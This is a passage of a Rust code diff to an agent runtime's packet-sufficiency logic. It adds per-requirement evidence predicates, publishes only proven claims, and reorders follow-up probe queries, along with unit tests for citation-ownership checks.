assert!(citation_owns_buffer_read_write(&operation)); + assert!(!citation_owns_buffer_storage(&operation)); + } + + #[test] + fn format_error_evidence_is_reachable_and_distinct_from_argument_evidence() { + let arguments = citation( + "dynamic_format_arg_store", + "include/fmt/args.h", + NodeKind::CLASS, + ); + let errors = citation( + "throw_format_error", + "include/fmt/format.h", + NodeKind::FUNCTION, + ); + + assert!(citation_owns_format_arguments(&arguments)); + assert!(!citation_owns_format_errors(&arguments)); + assert!(citation_owns_format_errors(&errors)); + assert!(!citation_owns_format_arguments(&errors)); + } + + #[test] + fn a_client_factory_does_not_carry_the_request_method() { + let factory = citation("createInstance", "lib/axios.js", NodeKind::FUNCTION); + let request = citation( + "Axios.prototype.request", + "lib/core/Axios.js", + NodeKind::METHOD, + ); + + assert!(!citation_owns_client_request_method(&factory)); + assert!(citation_owns_client_request_method(&request)); + } +} diff --git a/crates/codestory-runtime/src/agent/packet_flow_requirements.rs b/crates/codestory-runtime/src/agent/packet_flow_requirements.rs index c8813f6e7..5ee43827d 100644 --- a/crates/codestory-runtime/src/agent/packet_flow_requirements.rs +++ b/crates/codestory-runtime/src/agent/packet_flow_requirements.rs @@ -1,5 +1,23 @@ //! Generic packet flow requirements shared by planning, probes, and sufficiency. +use crate::agent::packet_evidence_carriers::{ + citation_owns_buffer_read_write, citation_owns_buffer_storage, + citation_owns_client_request_finalization, citation_owns_client_request_method, + citation_owns_client_response_materialization, citation_owns_css_animation_entrypoint, + citation_owns_css_animation_structure, citation_owns_css_structure, + citation_owns_form_custom_validation, citation_owns_form_native_constraint, + citation_owns_form_submit_guard, citation_owns_format_arguments, citation_owns_format_errors, + citation_owns_hook_cache_helper, citation_owns_hook_key_serialization, + citation_owns_hook_mutation_flow, citation_owns_hook_public_export, + citation_owns_html_app_shell, citation_owns_log_handler_processing, + citation_owns_log_record_creation, citation_owns_mapper_configuration, + citation_owns_mapper_execution, citation_owns_shell_completion, + citation_owns_shell_function_dispatch, citation_owns_shell_installer_bootstrap, + citation_owns_site_lifecycle, citation_owns_site_terminal, +}; +use crate::agent::packet_evidence_roles::{ + PacketEvidenceRole, packet_citation_owns_interceptor_management, packet_evidence_role, +}; use crate::agent::packet_terms::{ packet_terms_have_any, packet_terms_indicate_buffered_io_flow, packet_terms_indicate_client_send_flow, packet_terms_indicate_command_dispatch_flow, @@ -16,7 +34,7 @@ use crate::agent::packet_terms::{ packet_terms_indicate_sql_schema_flow, packet_terms_indicate_stylesheet_animation_flow, packet_terms_indicate_url_session_request_flow, }; -use codestory_contracts::api::PacketTaskClassDto; +use codestory_contracts::api::{AgentCitationDto, PacketTaskClassDto}; #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] pub(crate) enum FlowRole { @@ -31,6 +49,7 @@ pub(crate) enum FlowRole { } impl FlowRole { + #[cfg(test)] pub(crate) const fn role_id(self) -> &'static str { match self { Self::Entrypoint => "entrypoint", @@ -66,15 +85,43 @@ pub(crate) enum CoverageMode { DiagnosticOnly, } +/// What a packet must actually have *cited* for a requirement to count as covered. +/// +/// A requirement's `FlowRole` describes where it sits in a flow; it is a label, not a test. Two +/// requirements in one flow may share a role, so matching on the role alone let evidence for one +/// close the other. An evidence predicate belongs to a single requirement and reads only the +/// citation, never the claim's wording. +#[derive(Debug, Clone, Copy)] +pub(crate) enum EvidencePredicate { + /// Covered by a citation the evidence-role classifier already places in this part of the flow. + CitedRoles(&'static [PacketEvidenceRole]), + /// Covered by a citation that passes a structural ownership check, used where the evidence + /// role is too coarse to separate a requirement from its siblings. + CitedCarrier(fn(&AgentCitationDto) -> bool), +} + +impl EvidencePredicate { + pub(crate) fn citation_proves(self, citation: &AgentCitationDto) -> bool { + match self { + Self::CitedRoles(roles) => { + packet_evidence_role(citation).is_some_and(|role| roles.contains(&role)) + } + Self::CitedCarrier(carrier) => carrier(citation), + } + } +} + #[derive(Debug, Clone, Copy)] pub(crate) struct FlowRequirement { pub id: &'static str, pub role: FlowRole, pub query_seeds: &'static [&'static str], pub coverage_mode: CoverageMode, + pub evidence: EvidencePredicate, } impl FlowRequirement { + #[cfg(test)] pub(crate) const fn role_id(&self) -> &'static str { self.role.role_id() } @@ -293,12 +340,24 @@ const INDEXING_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["indexing entrypoint"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::IndexingWorkQueue, + PacketEvidenceRole::CommandEntrypoint, + PacketEvidenceRole::RuntimeOrchestration, + ]), }, FlowRequirement { id: "indexing_storage", role: FlowRole::StateOrStorage, query_seeds: &["file discovery", "symbol extraction", "storage persistence"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::PersistenceAndSearchProjection, + PacketEvidenceRole::SymbolExtraction, + PacketEvidenceRole::SnapshotRefresh, + PacketEvidenceRole::WorkspaceDiscoveryAndPlanning, + PacketEvidenceRole::CandidateFileConstruction, + ]), }, ]; @@ -308,18 +367,32 @@ const SERVER_REQUEST_DISPATCH_FLOW: &[FlowRequirement] = &[ role: FlowRole::Registration, query_seeds: &["request entrypoint", "route registration"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::RouteHandling, + PacketEvidenceRole::AppServerRequestProtocol, + ]), }, FlowRequirement { id: "request_dispatch", role: FlowRole::Dispatch, query_seeds: &["request dispatch", "handler dispatch", "transport adapter"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::RequestDispatch, + PacketEvidenceRole::CommandDispatch, + PacketEvidenceRole::RuntimeOrchestration, + ]), }, FlowRequirement { id: "request_terminal", role: FlowRole::TerminalBoundary, query_seeds: &["response finalization", "transport send"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::TransportAdapter, + PacketEvidenceRole::EventOutputProcessing, + PacketEvidenceRole::BufferedIo, + ]), }, ]; @@ -329,18 +402,24 @@ const CLIENT_REQUEST_DISPATCH_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["default instance", "request method", "request entrypoint"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::ClientFactory, + PacketEvidenceRole::CommandEntrypoint, + ]), }, FlowRequirement { id: "request_dispatch", role: FlowRole::Dispatch, query_seeds: &["request dispatch", "adapters", "transport adapter"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::RequestDispatch]), }, FlowRequirement { id: "request_terminal", role: FlowRole::TerminalBoundary, query_seeds: &["response finalization", "transport send"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::TransportAdapter]), }, ]; @@ -349,6 +428,7 @@ const REQUEST_INTERCEPTOR_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["interceptor handlers", "request interceptor"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(packet_citation_owns_interceptor_management), }; const URL_SESSION_FLOW: &[FlowRequirement] = &[ @@ -357,12 +437,23 @@ const URL_SESSION_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["session request creation", "request task resume"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::ClientFactory, + PacketEvidenceRole::AppServerRequestProtocol, + PacketEvidenceRole::CommandEntrypoint, + ]), }, FlowRequirement { id: "session_callbacks", role: FlowRole::Dispatch, query_seeds: &["session delegate callbacks", "data request validation"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::RequestDispatch, + PacketEvidenceRole::EventLoop, + PacketEvidenceRole::RouteHandling, + PacketEvidenceRole::TransportAdapter, + ]), }, ]; @@ -371,6 +462,7 @@ const CLIENT_PUBLIC_FACADE_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Entrypoint, query_seeds: &["http top level helper", "public client facade"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::ClientFactory]), }; const CLIENT_INTERFACE_HELPERS_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -378,6 +470,7 @@ const CLIENT_INTERFACE_HELPERS_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Entrypoint, query_seeds: &["client convenience method", "client interface helper"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_client_request_method), }; const CLIENT_REQUEST_FINALIZATION_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -385,6 +478,7 @@ const CLIENT_REQUEST_FINALIZATION_REQUIREMENT: FlowRequirement = FlowRequirement role: FlowRole::TransformOrValidate, query_seeds: &["request finalization", "transport-ready request object"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_client_request_finalization), }; const CLIENT_TRANSPORT_SEND_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -392,6 +486,10 @@ const CLIENT_TRANSPORT_SEND_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["transport send", "client send implementation"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::TransportAdapter, + PacketEvidenceRole::RequestDispatch, + ]), }; const CLIENT_RESPONSE_MATERIALIZATION_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -399,6 +497,7 @@ const CLIENT_RESPONSE_MATERIALIZATION_REQUIREMENT: FlowRequirement = FlowRequire role: FlowRole::TerminalBoundary, query_seeds: &["request response", "response stream boundary"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_client_response_materialization), }; const HOOK_PUBLIC_EXPORT_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -406,6 +505,7 @@ const HOOK_PUBLIC_EXPORT_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Entrypoint, query_seeds: &["public hook export", "hook argument wrapper"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedCarrier(citation_owns_hook_public_export), }; const HOOK_KEY_SERIALIZATION_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -413,6 +513,7 @@ const HOOK_KEY_SERIALIZATION_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::TransformOrValidate, query_seeds: &["key serialization", "serialize hook key"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedCarrier(citation_owns_hook_key_serialization), }; const HOOK_CACHE_HELPER_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -420,6 +521,7 @@ const HOOK_CACHE_HELPER_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::StateOrStorage, query_seeds: &["cache helper", "cache state helper"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedCarrier(citation_owns_hook_cache_helper), }; const HOOK_MUTATION_FLOW_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -427,6 +529,7 @@ const HOOK_MUTATION_FLOW_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["mutation helper", "mutate dispatch"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedCarrier(citation_owns_hook_mutation_flow), }; const COMMAND_SERVER_BOOTSTRAP_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -434,6 +537,10 @@ const COMMAND_SERVER_BOOTSTRAP_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Entrypoint, query_seeds: &["server bootstrap", "command server entrypoint"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::CommandEntrypoint, + PacketEvidenceRole::RuntimeOrchestration, + ]), }; const COMMAND_EVENT_LOOP_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -441,6 +548,7 @@ const COMMAND_EVENT_LOOP_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["event loop", "event loop source"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::EventLoop]), }; const COMMAND_NETWORK_INPUT_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -448,6 +556,7 @@ const COMMAND_NETWORK_INPUT_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["network input", "network command input"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::NetworkCommandInput]), }; const COMMAND_DISPATCH_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -455,6 +564,10 @@ const COMMAND_DISPATCH_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["command dispatch", "command table dispatch"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::CommandDispatch, + PacketEvidenceRole::RequestDispatch, + ]), }; const SQL_SCHEMA_FLOW: &[FlowRequirement] = &[ @@ -463,12 +576,14 @@ const SQL_SCHEMA_FLOW: &[FlowRequirement] = &[ role: FlowRole::StateOrStorage, query_seeds: &["sql table definitions", "CREATE TABLE"], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::SqlTableDefinition]), }, FlowRequirement { id: "sql_relationships", role: FlowRole::Configuration, query_seeds: &["foreign key relationships", "schema constraints"], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::SqlRelationshipConstraint]), }, ]; @@ -478,6 +593,7 @@ const HTML_CSS_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["html app shell", "module script entry"], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_html_app_shell), }, FlowRequirement { id: "css_structure", @@ -488,6 +604,7 @@ const HTML_CSS_FLOW: &[FlowRequirement] = &[ "interactive element styles", ], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_css_structure), }, ]; @@ -497,6 +614,7 @@ const CSS_ANIMATION_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["animation stylesheet entrypoint", "css animation imports"], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_css_animation_entrypoint), }, FlowRequirement { id: "css_animation_structure", @@ -507,6 +625,7 @@ const CSS_ANIMATION_FLOW: &[FlowRequirement] = &[ "css animation keyframes", ], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_css_animation_structure), }, ]; @@ -520,18 +639,21 @@ const FORM_VALIDATION_FLOW: &[FlowRequirement] = &[ "validity state", ], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_form_native_constraint), }, FlowRequirement { id: "form_custom_validation", role: FlowRole::TransformOrValidate, query_seeds: &["custom validation", "custom error rendering"], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_form_custom_validation), }, FlowRequirement { id: "form_submit_guard", role: FlowRole::TerminalBoundary, query_seeds: &["submit prevent default", "submit invalid guard"], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_form_submit_guard), }, ]; @@ -541,18 +663,21 @@ const SHELL_INSTALL_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["shell installer bootstrap", "install download helpers"], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_shell_installer_bootstrap), }, FlowRequirement { id: "shell_function_dispatch", role: FlowRole::Dispatch, query_seeds: &["shell function dispatch", "conditional version use"], coverage_mode: CoverageMode::AllowsLexicalSource, + evidence: EvidencePredicate::CitedCarrier(citation_owns_shell_function_dispatch), }, FlowRequirement { id: "shell_completion", role: FlowRole::TerminalBoundary, query_seeds: &["shell completion"], coverage_mode: CoverageMode::DiagnosticOnly, + evidence: EvidencePredicate::CitedCarrier(citation_owns_shell_completion), }, ]; @@ -562,12 +687,14 @@ const BUFFERED_IO_FLOW: &[FlowRequirement] = &[ role: FlowRole::StateOrStorage, query_seeds: &["buffer storage", "source sink buffer"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedCarrier(citation_owns_buffer_storage), }, FlowRequirement { id: "buffered_read_write", role: FlowRole::Dispatch, query_seeds: &["source read buffer", "sink write buffer"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_buffer_read_write), }, ]; @@ -577,6 +704,7 @@ const LOG_HANDLER_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["logger record", "record creation"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_log_record_creation), }, FlowRequirement { id: "handler_processing", @@ -587,6 +715,7 @@ const LOG_HANDLER_FLOW: &[FlowRequirement] = &[ "handler interface", ], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_log_handler_processing), }, ]; @@ -596,12 +725,14 @@ const SITE_BUILD_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["site build lifecycle", "site process phases"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_site_lifecycle), }, FlowRequirement { id: "site_terminal", role: FlowRole::TerminalBoundary, query_seeds: &["read generate render write", "renderer render"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedCarrier(citation_owns_site_terminal), }, ]; @@ -615,12 +746,14 @@ const MAPPER_PLAN_FLOW: &[FlowRequirement] = &[ "type map plan", ], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_mapper_configuration), }, FlowRequirement { id: "mapper_execution", role: FlowRole::Dispatch, query_seeds: &["mapping execution plan", "source destination mapping"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_mapper_execution), }, ]; @@ -630,12 +763,14 @@ const RUNTIME_FORMATTING_FLOW: &[FlowRequirement] = &[ role: FlowRole::TransformOrValidate, query_seeds: &["format arguments", "format output"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedCarrier(citation_owns_format_arguments), }, FlowRequirement { id: "format_errors", role: FlowRole::ErrorOrFallback, query_seeds: &["format error", "error formatting"], coverage_mode: CoverageMode::AllowsSourceRange, + evidence: EvidencePredicate::CitedCarrier(citation_owns_format_errors), }, ]; @@ -645,6 +780,11 @@ const SEARCH_EXECUTION_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["search entrypoint", "argument planning"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::SearchDriver, + PacketEvidenceRole::ArgumentPlanning, + PacketEvidenceRole::CommandEntrypoint, + ]), }, FlowRequirement { id: "search_dispatch", @@ -655,6 +795,10 @@ const SEARCH_EXECUTION_FLOW: &[FlowRequirement] = &[ "search execution unit", ], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, + evidence: EvidencePredicate::CitedRoles(&[ + PacketEvidenceRole::SearchExecutionUnit, + PacketEvidenceRole::CandidateFileConstruction, + ]), }, ]; diff --git a/crates/codestory-runtime/src/agent/packet_sufficiency.rs b/crates/codestory-runtime/src/agent/packet_sufficiency.rs index b0531bc8a..cce37a045 100644 --- a/crates/codestory-runtime/src/agent/packet_sufficiency.rs +++ b/crates/codestory-runtime/src/agent/packet_sufficiency.rs @@ -1,10 +1,10 @@ use crate::agent::packet_claims::{decorate_packet_claims_proof_metadata, packet_supported_claims}; use crate::agent::packet_evidence::citation_sufficiency_eligible; -use crate::agent::packet_evidence_roles::{ - PacketEvidenceRole, packet_citation_owns_interceptor_management, packet_evidence_role, -}; +use crate::agent::packet_evidence_roles::packet_evidence_role; +#[cfg(test)] +use crate::agent::packet_flow_requirements::FlowRole; use crate::agent::packet_flow_requirements::{ - CoverageMode, FlowRequirement, FlowRole, packet_flow_requirements_for_terms, + CoverageMode, FlowRequirement, packet_flow_requirements_for_terms, }; use crate::agent::packet_plan::packet_symbol_probe_queries; use crate::agent::packet_required_probes::packet_missing_sufficiency_probe_queries_with_extra; @@ -12,24 +12,12 @@ use crate::agent::packet_scoring::{ normalize_identifier, packet_citation_key, packet_display_name_is_test_like, packet_display_path, }; -use crate::agent::packet_terms::{ - packet_probe_terms, packet_terms_indicate_form_validation_flow, - packet_terms_indicate_html_css_template_structure_flow, - packet_terms_indicate_log_record_handler_flow, - packet_terms_indicate_mapper_configuration_plan_flow, - packet_terms_indicate_runtime_formatting_flow, - packet_terms_indicate_server_request_dispatch_flow, - packet_terms_indicate_shell_install_dispatch_flow, packet_terms_indicate_site_build_phase_flow, - packet_terms_indicate_sql_schema_flow, packet_terms_indicate_string_predicate_flow, - packet_terms_indicate_stylesheet_animation_flow, - packet_terms_indicate_url_session_request_flow, -}; +use crate::agent::packet_terms::packet_probe_terms; use codestory_contracts::api::{ AgentAnswerDto, AgentCitationDto, AgentRetrievalStepStatusDto, EdgeKind, GraphArtifactDto, GraphResponse, NodeKind, PacketBudgetDto, PacketBudgetModeDto, PacketClaimDto, - PacketCoverageReportDto, PacketEvidenceResolutionDto, PacketEvidenceTierDto, - PacketSidecarQueryDiagnosticDto, PacketSufficiencyDto, PacketSufficiencyStatusDto, - PacketTaskClassDto, + PacketCoverageReportDto, PacketEvidenceTierDto, PacketSidecarQueryDiagnosticDto, + PacketSufficiencyDto, PacketSufficiencyStatusDto, PacketTaskClassDto, }; use std::collections::{BTreeMap, BTreeSet, HashSet, VecDeque}; use std::path::Path; @@ -150,22 +138,27 @@ fn assemble_packet_sufficiency_with_probe_context( .any(|step| step.status == AgentRetrievalStepStatusDto::Error); let min_citations = packet_sufficiency_min_citations(task_class); let min_claims = packet_sufficiency_min_claims(task_class); - let flow_context = PacketFlowContext::new(question, task_class); let route_stages = packet_route_proof_stages(question, selected_probes); let sufficiency_claims = supported_claims .iter() .filter(|claim| { - packet_claim_can_satisfy_sufficiency_in_context(claim, &flow_context) + packet_claim_can_satisfy_sufficiency(claim) || (task_class == PacketTaskClassDto::RouteTracing && packet_route_claim_binds_stage(&route_stages, selected_probes, claim)) }) .cloned() .collect::>(); + // Binding a requested route stage lets a claim hold that stage, but it does not make the claim + // something the caller may repeat: only claims with no ineligibility reason are published. + let proven_claims = sufficiency_claims + .iter() + .filter(|claim| packet_claim_can_satisfy_sufficiency(claim)) + .cloned() + .collect::>(); let generic_navigation_claim_count = supported_claims .iter() .filter(|claim| { packet_claim_is_generic_navigation_or_source_evidence(claim) - && !flow_context.claim_carries_required_role(claim, false) && !packet_route_claim_binds_stage(&route_stages, selected_probes, claim) }) .count(); @@ -175,12 +168,8 @@ fn assemble_packet_sufficiency_with_probe_context( let claim_family_count = packet_supported_claim_family_count(&sufficiency_claims); let has_minimum_claim_families = packet_has_minimum_claim_family_coverage(task_class, &sufficiency_claims); - let missing_exact_path_claims = packet_missing_exact_path_claims( - project_root, - task_class, - exact_probe_paths, - &sufficiency_claims, - ); + let missing_exact_path_claims = + packet_missing_exact_path_claims(project_root, exact_probe_paths, &sufficiency_claims); let route_proof = packet_route_proof_assessment( task_class, answer, @@ -251,11 +240,21 @@ fn assemble_packet_sufficiency_with_probe_context( &missing_required_flow_requirements, &blocking_unresolved_sidecar_queries, ); - let mut blocking_follow_up_probe_queries = packet_blocking_follow_up_probe_queries( + let blocking_probe_queries = packet_blocking_follow_up_probe_queries( &blocking_missing_probe_queries, &blocking_unresolved_sidecar_queries, ); - if blocking_follow_up_probe_queries.is_empty() { + // A requested path the packet never proved anything about is the most specific thing a caller + // can act on, so it leads the follow-up list. Appending it last let the command cap drop it + // whenever enough flow probes were also missing — exactly when the caller needed it most. + let mut blocking_follow_up_probe_queries = Vec::new(); + for path in &missing_exact_path_claims { + push_unique_term(&mut blocking_follow_up_probe_queries, path); + } + for query in &blocking_probe_queries { + push_unique_term(&mut blocking_follow_up_probe_queries, query); + } + if blocking_probe_queries.is_empty() { for query in &missing_required_probe_queries { push_unique_term(&mut blocking_follow_up_probe_queries, query); } @@ -263,9 +262,6 @@ fn assemble_packet_sufficiency_with_probe_context( for query in &route_proof.follow_up_queries { push_unique_term(&mut blocking_follow_up_probe_queries, query); } - for path in &missing_exact_path_claims { - push_unique_term(&mut blocking_follow_up_probe_queries, path); - } let follow_up_probe_queries = if blocking_follow_up_probe_queries.is_empty() { &missing_required_probe_queries } else { @@ -282,8 +278,7 @@ fn assemble_packet_sufficiency_with_probe_context( ); let coverage_report = packet_coverage_report(PacketCoverageReportInput { supported_claims: &supported_claims, - sufficiency_claims: &sufficiency_claims, - flow_context: &flow_context, + proven_claims: &proven_claims, missing_required_flow_requirements: &missing_required_flow_requirements, route_proof: &route_proof, missing_exact_path_claims: &missing_exact_path_claims, @@ -292,7 +287,8 @@ fn assemble_packet_sufficiency_with_probe_context( has_sufficiency_blocking_budget_omission, }); let open_next = follow_up_commands.clone(); - let avoid_opening_paths = sufficiency_claims + // Only a file the packet actually proved something about is one the caller can skip opening. + let avoid_opening_paths = proven_claims .iter() .flat_map(|claim| &claim.citations) .filter(|citation| citation_sufficiency_eligible(citation)) @@ -314,7 +310,10 @@ fn assemble_packet_sufficiency_with_probe_context( PacketSufficiencyDto { status, - covered_claims: supported_claims, + // Callers read covered claims as verified and safe to repeat. Publishing a claim the same + // packet reports as unproven is the claim-level shape of the false-safe answer #1200 exists + // to remove; the coverage report still carries every dropped claim with its reason. + covered_claims: proven_claims, open_next, avoid_opening, avoid_opening_paths, @@ -392,6 +391,9 @@ fn packet_sufficiency_status( } } +/// An uncovered exact path is reported as its own gap so a caller can act on one path at a time. +/// The list stays bounded the same way route stages do; the coverage report keeps the full set. +const MAX_EXACT_PATH_CLAIM_GAPS: usize = 6; const MAX_ROUTE_PROOF_STAGES: usize = 6; const MAX_ROUTE_STAGE_WORDS: usize = 6; const ROUTE_ORDER_GAP: &str = "RouteTracing packet could not resolve at least two ordered endpoints from explicit route syntax in the question."; @@ -962,10 +964,21 @@ fn packet_sufficiency_gaps( if task_class == PacketTaskClassDto::RouteTracing && !route_proof.complete { gaps.extend(route_proof.gaps.clone()); } - if !missing_exact_path_claims.is_empty() { + for path in missing_exact_path_claims + .iter() + .take(MAX_EXACT_PATH_CLAIM_GAPS) + { + gaps.push(format!( + "{task_class:?} packet did not establish a proof-bearing claim from explicit exact path: {path}." + )); + } + if let Some(overflow) = missing_exact_path_claims + .len() + .checked_sub(MAX_EXACT_PATH_CLAIM_GAPS) + .filter(|overflow| *overflow > 0) + { gaps.push(format!( - "ArchitectureExplanation packet did not establish a proof-bearing claim from explicit exact path(s): {}.", - missing_exact_path_claims.join(", ") + "{task_class:?} packet left {overflow} further requested exact path(s) without a proof-bearing claim; the coverage report names each one." )); } if !missing_required_probe_queries.is_empty() { @@ -1421,40 +1434,25 @@ pub(crate) fn packet_claim_family(claim: &PacketClaimDto) -> Option<&'static str .or_else(|| (!claim.citations.is_empty()).then_some("source evidence")) } -#[cfg(test)] pub(crate) fn packet_claim_can_satisfy_sufficiency(claim: &PacketClaimDto) -> bool { - packet_claim_ineligibility_reason(claim, false, false).is_none() -} - -fn packet_claim_can_satisfy_sufficiency_in_context( - claim: &PacketClaimDto, - flow_context: &PacketFlowContext, -) -> bool { - let generic_navigation = packet_claim_is_generic_navigation_or_source_evidence(claim); - let carries_required_role = - flow_context.claim_carries_required_role(claim, !generic_navigation); - let structural_policy_admitted = flow_context.claim_has_structural_policy_admission(claim); - packet_claim_ineligibility_reason(claim, carries_required_role, structural_policy_admitted) - .is_none() + packet_claim_ineligibility_reason(claim).is_none() } -fn packet_claim_ineligibility_reason( - claim: &PacketClaimDto, - carries_required_role: bool, - structural_policy_admitted: bool, -) -> Option<&'static str> { - let generic_navigation = packet_claim_is_generic_navigation_or_source_evidence(claim); - if claim.eligible_for_sufficiency == Some(false) && !structural_policy_admitted { +/// Sufficiency is a statement about proof, so a claim only counts when the packet actually carries +/// evidence for it: an unsupported sentence, diagnostic-only evidence, or navigation prose that +/// points at a citation without explaining the flow can never promote a verdict. +fn packet_claim_ineligibility_reason(claim: &PacketClaimDto) -> Option<&'static str> { + if claim.eligible_for_sufficiency == Some(false) { return Some("claim marked diagnostic"); } - if !claim.citations.is_empty() - && !claim.citations.iter().any(citation_sufficiency_eligible) - && !structural_policy_admitted - { + if claim.citations.is_empty() { + return Some("claim carries no cited evidence"); + } + if 